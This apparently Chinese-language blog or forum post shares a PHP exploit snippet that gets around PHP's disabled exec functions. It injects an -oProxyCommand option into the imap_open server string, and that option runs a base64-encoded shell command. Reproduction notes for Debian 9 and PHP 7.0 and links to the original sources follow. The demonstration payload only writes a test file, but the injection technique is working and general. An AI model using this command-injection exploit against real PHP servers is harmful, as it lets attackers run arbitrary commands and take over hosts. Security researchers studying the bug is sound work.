Bypassing disabled exec functions in PHP via imap_open

看到一个新的Bypass disable function姿势

<?php
# https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

 

本地复现成功，debain9 php7.0环境，需要一个imap扩展

apt-get install php-imap

From:
https://antichat.com/threads/463395/#post-4254681
https://github.com/Bo0oM/PHP_ima … /master/exploit.php

https://www.t00ls.net/thread-48531-1-1.html